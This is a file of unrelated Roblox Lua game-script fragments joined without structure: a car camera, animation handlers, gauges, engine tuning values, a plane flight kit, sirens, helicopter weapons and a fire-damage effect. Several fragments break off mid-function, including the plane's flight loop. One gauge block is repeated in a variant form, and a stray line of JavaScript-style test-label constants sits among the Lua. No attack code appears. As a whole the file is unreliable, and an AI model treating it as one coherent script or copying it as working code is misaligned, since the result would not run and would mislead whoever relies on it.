local car = script.Parent.Car.Value local cam = workspace.CurrentCamera local RS = game:GetService("RunService") car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then RS:UnbindFromRenderStep("MCam") cam.CameraType = Enum.CameraType.Custom end end) script.Parent.Values.MouseSteerOn.Changed:connect(function(property) if script.Parent.Values.MouseSteerOn.Value then RS:BindToRenderStep("MCam",Enum.RenderPriority.Camera.Value,function() cam.CameraType = Enum.CameraType.Scriptable local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-(car.DriveSeat.CFrame.lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end) else RS:UnbindFromRenderStep("MCam") cam.CameraType = Enum.CameraType.Custom end end)
------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- -- STATE CHANGE HANDLERS
function onRunning(speed) local movedDuringEmote = userEmoteToRunThresholdChange and currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0) local speedThreshold = movedDuringEmote and Humanoid.WalkSpeed or 0.75 if speed > speedThreshold then local scale = 16.0 playAnimation("walk", 0.2, Humanoid) setAnimationSpeed(speed / scale) pose = "Running" else if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then playAnimation("idle", 0.2, Humanoid) pose = "Standing" end end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) local scale = 5.0 playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / scale) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end
--Call a vote every x seconds
while wait(Rules:GetRule("Vote Interval")) do CallVote(Rules:GenerateVote()) end
--Made by Luckymaxer
Players = game:GetService("Players") Debris = game:GetService("Debris") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create Character = script.Parent Humanoid = Character:FindFirstChild("Humanoid") Player = Players:GetPlayerFromCharacter(Character) Fire = script:WaitForChild("Fire") Creator = script:FindFirstChild("Creator") Removing = false Flames = {} function DestroyScript() if Removing then return end Removing = true if Humanoid then Humanoid.WalkSpeed = 16 end for i, v in pairs(Flames) do v.Enabled = false Debris:AddItem(v, 2) end Debris:AddItem(script, 1) end function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Create("ObjectValue"){ Name = "creator", Value = player, } Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function GetCreator() return (((Creator and Creator.Value and Creator.Value.Parent and Creator.Value:IsA("Player")) and Creator.Value) or nil) end CreatorPlayer = GetCreator() if not Humanoid or Humanoid.Health == 0 or not CreatorPlayer then DestroyScript() return end Humanoid.WalkSpeed = 8 for i, v in pairs(Character:GetChildren()) do if v:IsA("BasePart") then local Flame = Fire:Clone() Flame.Enabled = true table.insert(Flames, Flame) Flame.Parent = v end end for i = 1, 5 do wait(1.5) if not Player or (Player and not IsTeamMate(Player, CreatorPlayer)) then UntagHumanoid(Humanoid) TagHumanoid(Humanoid, Player) Humanoid:TakeDamage(5) end end DestroyScript()
--RPM lights
local BeginRPM = 2500 local MaxRPM = 9000
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 70 + 130*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,150) else ln.Frame.Position = UDim2.new(0,-1,0,150) end ln.Num:Destroy() ln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 70 + 130*(i/v.maxSpeed) ln.Num.Position = UDim2.new(0,0,100,175) ln.Num.Text = i ln.Num.TextSize = 20 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) end) script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" elseif gearText == -1 then gearText = "R" end script.Parent.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) function PBrake() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end script.Parent.Parent.Values.PBrake.Changed:connect(PBrake) function Gear() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation = 70 + 130 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end) wait(.1) Gear() PBrake()
-- Editable Values
local ExhaustId = 5937167081 local EngineId = 6002661882 local IdleId = 5226685480 local RedlineId = 5070456793 local ExhaustVol = .5 local ExhaustRollOffMax = 1000 local ExhaustRollOffMin = 10 local ExhaustVolMult = 1.05 local EngineVol = .05 local EngineRollOffMax = 1000 local EngineRollOffMin = 15 local EngineVolMult = 1.25 local IdleVol = 1 local IdleRollOffMax = 1000 local IdleRollOffMin = 5 local IdleRPMScale = 1500 local RedlineVol = .5 local RedlineRollOffMax = 1000 local RedlineRollOffMin = 5 local ExhaustPitch = .3 local EnginePitch = .5 local ExhaustRev = 1 local EngineRev = .8 local ExhaustEqualizer = {0,4,6} local EngineEqualizer = {0,4,6} local ExhaustDecelEqualizer = {-25,0,5} local EngineDecelEqualizer = {-25,0,5} local ThrottleVolMult = .5 local ThrottlePitchMult = .1 local ExhaustDistortion = .0 local ExhaustRevDistortion = .3 local EngineDistortion = .2 local EngineRevDistortion = .5 local FE=true
-- services
local TweenService = game:GetService("TweenService") local Workspace = game:GetService("Workspace") local Debris = game:GetService("Debris")
-- Omit colon and one or more spaces, so can call getLabelPrinter.
local EXPECTED_LABEL = "Expected" local RECEIVED_LABEL = "Received" local EXPECTED_VALUE_LABEL = "Expected value" local RECEIVED_VALUE_LABEL = "Received value"
--------END LIGHTED RECTANGLES-------- --------SIDE DOOR--------
game.Workspace.rightsidedoor.l1.BrickColor = BrickColor.new(194) game.Workspace.rightsidedoor.l2.BrickColor = BrickColor.new(194) game.Workspace.rightsidedoor.l3.BrickColor = BrickColor.new(194) game.Workspace.rightsidedoor.l4.BrickColor = BrickColor.new(194) game.Workspace.rightsidedoor.l5.BrickColor = BrickColor.new(194)
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=false end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=false end end script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" end if gearText == -1 then gearText = "R" end script.Parent.Gear.Text = "Gear : "..gearText.." / 6" end) local UIS = game:GetService("UserInputService") L = false UIS.InputBegan:connect(function(i,GP) if not GP then if i.KeyCode == Enum.KeyCode.Z then if L == false then script.Parent.Left.ImageColor3 = Color3.fromRGB(142, 255, 169) L = true else script.Parent.Left.ImageColor3 = Color3.fromRGB(255,255,255) L = false end end end end)
--[[Engine]]
--Torque Curve Tune.Horsepower = 274 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6500 -- Use sliders to manipulate values Tune.Redline = 8000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 6500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 100 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--NOTE: Keys must be lowercase, values must evaluate to true
-- Reset the rotation:
function CamLock.ResetRotation() SetRotation(0, 0) end
-- Keep current player updated in tool mode
if ToolMode == 'Tool' then -- Set current player if in backpack if Tool.Parent and Tool.Parent:IsA 'Backpack' then Player = Tool.Parent.Parent; -- Set current player if in character elseif Tool.Parent and Tool.Parent:IsA 'Model' then Player = Players:GetPlayerFromCharacter(Tool.Parent); -- Clear `Player` if not in possession of a player else Player = nil; end; -- Stay updated with latest player operating the tool Tool.AncestryChanged:Connect(function (Child, Parent) -- Ensure tool's parent changed if Child ~= Tool then return; end; -- Set `Player` to player of the backpack the tool is in if Parent and Parent:IsA 'Backpack' then Player = Parent.Parent; -- Set `Player` to player of the character holding the tool elseif Parent and Parent:IsA 'Model' then Player = Players:GetPlayerFromCharacter(Parent); -- Clear `Player` if tool is not parented to a player else Player = nil; end; end); end;
-- Welcome to the variable museum:
local player = script.Parent.Parent.Parent local plane,mainParts,info,main,move,gryo,seat,landingGear,accel,canCrash,crashForce,crashSpin,crashVisual,maxBank,maxSpeed,speedVary,stallSpeed,throttleInc,altRestrict,altMin,altMax,altSet local desiredSpeed,currentSpeed,realSpeed = 0,0,0 local mouseSave local gearParts = {} local selected,flying,on,dead,gear,throttle = false,false,false,false,true,0 local gui = script.Parent.PlaneGui:clone() local panel = gui.Panel local lowestPoint = 0 local A = math.abs -- Creating a shortcut for the function local keys = { engine={key}; landing={key}; spdup={byte=0;down=false}; spddwn={byte=0;down=false}; } function waitFor(parent,array) -- Backup system to wait for objects to 'load' if (array) then for _,name in pairs(array) do while (not parent:findFirstChild(name)) do wait() end -- If the object is found right away, no time will be spent waiting. That's why 'while' loops work better than 'repeat' in this case end elseif (parent:IsA("ObjectValue")) then while (not parent.Value) do wait() end end end function fixVars() -- Correct your mistakes to make sure the plane still flies correctly! maxBank = (maxBank < -90 and -90 or maxBank > 90 and 90 or maxBank) throttleInc = (throttleInc < 0.01 and 0.01 or throttleInc > 1 and 1 or throttleInc) stallSpeed = (stallSpeed > maxSpeed and maxSpeed or stallSpeed) accel = (accel < 0.01 and 0.01 or accel > maxSpeed and maxSpeed or accel) altMax = ((altMax-100) < altMin and (altMin+100) or altMax) altMax = (altSet and (altMax+main.Position.y) or altMax) altMin = (altSet and (altMin+main.Position.y) or altMin) keys.engine.key = (keys.engine.key == "" and "e" or keys.engine.key) keys.landing.key = (keys.landing.key == "" and "g" or keys.landing.key) keys.spdup.byte = (keys.spdup.byte == 0 and 17 or keys.spdup.byte) keys.spddwn.byte = (keys.spddwn.byte == 0 and 18 or keys.spddwn.byte) end function getVars() -- Since this plane kit is supposed to make you avoid scripting altogether, I have to go the extra mile and write a messy function to account for all those object variables plane = script.Parent.Plane.Value waitFor(plane,{"MainParts","OtherParts","EDIT_THESE","Dead"}) mainParts,info = plane.MainParts,plane.EDIT_THESE waitFor(mainParts,{"Main","MainSeat","LandingGear"}) main,seat,landingGear = mainParts.Main,mainParts.MainSeat,mainParts.LandingGear waitFor(main,{"Move","Gyro"}) move,gyro = main.Move,main.Gyro accel,canCrash,crashForce,crashSpin,crashVisual,maxBank,maxSpeed,speedVary,stallSpeed,throttleInc,altRestrict,altMin,altMax,altSet = -- Quickest way to assign tons of variables A(info.Acceleration.Value),info.CanCrash.Value,A(info.CanCrash.Force.Value),info.CanCrash.SpinSpeed.Value,info.CanCrash.VisualFX.Value, info.MaxBank.Value,A(info.MaxSpeed.Value),A(info.SpeedDifferential.Value),A(info.StallSpeed.Value),A(info.ThrottleIncrease.Value), info.AltitudeRestrictions.Value,info.AltitudeRestrictions.MinAltitude.Value,info.AltitudeRestrictions.MaxAltitude.Value,info.AltitudeRestrictions.SetByOrigin.Value keys.engine.key = info.Hotkeys.Engine.Value:gmatch("%a")():lower() keys.landing.key = info.Hotkeys.LandingGear.Value:gmatch("%a")():lower() local sU,sD = info.Hotkeys.SpeedUp.Value:lower(),info.Hotkeys.SpeedDown.Value:lower() keys.spdup.byte = (sU == "arrowkeyup" and 17 or sU == "arrowkeydown" and 18 or sU:gmatch("%a")():byte()) -- Ternary operations use logical figures to avoid 'if' statements keys.spddwn.byte = (sD == "arrowkeyup" and 17 or sD == "arrowkeydown" and 18 or sD:gmatch("%a")():byte()) fixVars() plane.Dead.Changed:connect(function() if ((plane.Dead.Value) and (not dead)) then -- DIE! dead,flying,on = true,false,false main.Fire.Enabled,main.Smoke.Enabled = info.CanCrash.VisualFX.Value,info.CanCrash.VisualFX.Value move.maxForce = Vector3.new(0,0,0) gyro.D = 1e3 while ((selected) and (not plane.Dead.Stop.Value)) do gyro.cframe = (gyro.cframe*CFrame.Angles(0,0,math.rad(crashSpin))) wait() end end end) end function getGear(parent) -- Very common way to scan through every descendant of a model: for _,v in pairs(parent:GetChildren()) do if (v:IsA("BasePart")) then local t,r,c = Instance.new("NumberValue",v),Instance.new("NumberValue",v),Instance.new("BoolValue",v) -- Saving original properties t.Name,r.Name,c.Name = "Trans","Ref","Collide" t.Value,r.Value,c.Value = v.Transparency,v.Reflectance,v.CanCollide table.insert(gearParts,v) end getGear(v) end end function getLowestPoint() -- Plane will use LowestPoint to determine where to look to make sure the plane is either flying or on the ground if (#gearParts == 0) then lowestPoint = (main.Position.y+5+(main.Size.y/2)) return end for _,v in pairs(gearParts) do -- Not very efficient, but it basically does what I designed it to do: local _0 = (main.Position.y-(v.CFrame*CFrame.new((v.Size.x/2),0,0)).y) local _1 = (main.Position.y-(v.CFrame*CFrame.new(-(v.Size.x/2),0,0)).y) local _2 = (main.Position.y-(v.CFrame*CFrame.new(0,(v.Size.y/2),0)).y) local _3 = (main.Position.y-(v.CFrame*CFrame.new(0,-(v.Size.y/2),0)).y) local _4 = (main.Position.y-(v.CFrame*CFrame.new(0,0,(v.Size.z/2))).y) local _5 = (main.Position.y-(v.CFrame*CFrame.new(0,0,-(v.Size.z/2))).y) local n = (math.max(_0,_1,_2,_3,_4,_5)+5) lowestPoint = (n > lowestPoint and n or lowestPoint) end end function guiSetup() -- Setting up the GUI buttons and such local cur = 0 panel.Controls.Position = UDim2.new(0,-8,0,-(panel.Controls.AbsolutePosition.y+panel.Controls.AbsoluteSize.y)) panel.ControlsButton.MouseButton1Click:connect(function() cur = (cur == 0 and 1 or 0) if (cur == 0) then panel.Controls:TweenPosition(UDim2.new(0,-8,0,-(panel.Controls.AbsolutePosition.y+panel.Controls.AbsoluteSize.y)),"In","Sine",0.35) else panel.Controls.Visible = true panel.Controls:TweenPosition(UDim2.new(0,-8,1,32),"Out","Back",0.5) end end) panel.Controls.c1.Value.Text = (keys.engine.key:upper() .. " Key") panel.Controls.c2.Value.Text = (keys.spdup.byte == 17 and "UP Arrow Key" or keys.spdup.byte == 18 and "DOWN Arrow Key" or (string.char(keys.spdup.byte):upper() .. " Key")) panel.Controls.c3.Value.Text = (keys.spddwn.byte == 17 and "UP Arrow Key" or keys.spddwn.byte == 18 and "DOWN Arrow Key" or (string.char(keys.spddwn.byte):upper() .. " Key")) end waitFor(script.Parent,{"Plane","Deselect0","Deselect1","CurrentSelect"}) waitFor(script.Parent.Plane) getVars() getGear(landingGear) getLowestPoint() guiSetup() if (script.Parent.Active) then script.Parent.Name = "RESELECT" while (script.Parent.Active) do wait() end end script.Parent.Name = "Plane" function changeGear() gear = (not gear) for _,v in pairs(gearParts) do v.Transparency,v.Reflectance,v.CanCollide = (gear and v.Trans.Value or 1),(gear and v.Ref.Value or 0),(gear and v.Collide.Value or false) -- Learning how to code like this is extremely useful end end function updateGui(taxiing,stalling) panel.Off.Visible = (not on) panel.Taxi.Visible,panel.Stall.Visible = taxiing,(not taxiing and stalling) if ((realSpeed > -10000) and (realSpeed < 10000)) then panel.Speed.Value.Text = tostring(math.floor(realSpeed+0.5)) end panel.Altitude.Value.Text = tostring(math.floor(main.Position.y+0.5)) panel.Throttle.Bar.Amount.Size = UDim2.new(throttle,0,1,0) end function taxi() -- Check to see if the plane is on the ground or not return (currentSpeed <= stallSpeed and game.Workspace:findPartOnRay(Ray.new(main.Position,Vector3.new(0,-lowestPoint,0)),plane)) -- Make sure plane is on a surface end function stall() -- Originally set as a giant ternary operation, but got WAY too complex, so I decided to break it down for my own sanity if ((altRestrict) and (main.Position.y > altMax)) then return true end local diff = ((realSpeed-stallSpeed)/200) diff = (diff > 0.9 and 0.9 or diff) local check = { -- Table placed here so I could easily add new 'checks' at ease. If anything in this table is 'true,' then the plane will be considered to be taxiing (currentSpeed <= stallSpeed); (main.CFrame.lookVector.y > (realSpeed < stallSpeed and -1 or -diff)); } for _,c in pairs(check) do if (not c) then return false end end return true end function fly(m) -- Main function that controls all of the flying stuff. Very messy. flying = true local pos,t = main.Position,time() local lastStall = false while ((flying) and (not dead)) do realSpeed = ((pos-main.Position).magnitude/(time()-t)) -- Calculate "real" speed pos,t = main.Position,time() local max = (maxSpeed+(-main.CFrame.lookVector.y*speedVary)) -- Speed variety based on the pitch of the aircraft desiredSpeed = (max*(on and throttle or 0)) -- Find speed based on throttle local change = (desiredSpeed > currentSpeed and 1 or -1) -- Decide between accelerating or decelerating currentSpeed = (currentSpeed+(accel*change)) -- Calculate new speed
--// # key, ManOff
mouse.KeyUp:connect(function(key) if key=="h" then veh.Lightbar.middle.Man:Stop() veh.Lightbar.middle.Wail.Volume = 2 veh.Lightbar.middle.Yelp.Volume = 2 veh.Lightbar.middle.Priority.Volume = 2 script.Parent.Parent.Sirens.Man.BackgroundColor3 = Color3.fromRGB(62, 62, 62) end end)
-------------------Weapons-------------------
if(key == "z") then show_ammo = true end if(key == keys.minigun) and on then minigun_shoot = true while minigun_shoot do if(minigun.left ~= 0) then getBullet("GunA") minigun.left = minigun.left -1 end if(minigun.right ~= 0) then getBullet("GunB") minigun.right = minigun.right -1 end wait(shoot_rate) end end if(key == "f") and on then if(missile_side == 1) then if(hydra.right ~= 0) then Getmissile("LaunchB") missile_side = 2 end elseif(missile_side == 2) then if(hydra.left ~= 0) then Getmissile("LaunchA") missile_side = 1 end end end
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false} math.randomseed(tick()) function findExistingAnimationInSet(set, anim) if set == nil or anim == nil then return 0 end for idx = 1, set.count, 1 do if set[idx].anim.AnimationId == anim.AnimationId then return idx end end return 0 end function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} local allowCustomAnimations = true local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end) if not success then allowCustomAnimations = true end -- check for config values local config = script:FindFirstChild(name) if (allowCustomAnimations and config ~= nil) then table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 0 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then local newWeight = 1 local weightObject = childPart:FindFirstChild("Weight") if (weightObject ~= nil) then newWeight = weightObject.Value end animTable[name].count = animTable[name].count + 1 idx = animTable[name].count animTable[name][idx] = {} animTable[name][idx].anim = childPart animTable[name][idx].weight = newWeight animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end)) end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight end end -- preload anims for i, animType in pairs(animTable) do for idx = 1, animType.count, 1 do if PreloadedAnims[animType[idx].anim.AnimationId] == nil then Humanoid:LoadAnimation(animType[idx].anim) PreloadedAnims[animType[idx].anim.AnimationId] = true end end end end
--Weld stuff here --Wipers
MakeWeld(misc.Wiper.H1,car.DriveSeat) MakeWeld(misc.Wiper.H2,car.DriveSeat) ModelWeld(misc.Wiper.Parts1,misc.Wiper.H1) ModelWeld(misc.Wiper.Parts2,misc.Wiper.H2)
--// Functions
function spawnTag(L_15_arg1, L_16_arg2) if L_15_arg1 and L_15_arg1:FindFirstChild('Head') and L_9_.TeamTags then if L_15_arg1.Head:FindFirstChild('TeamTag') then L_15_arg1.Head.TeamTag:Destroy() end local L_17_ = L_7_:WaitForChild('TeamTag'):clone() L_17_.Parent = L_15_arg1.Head L_17_.Enabled = true L_17_.Adornee = L_15_arg1.Head L_17_.Frame:WaitForChild('Frame').ImageColor3 = L_16_arg2 end end
--Double Jump Fly
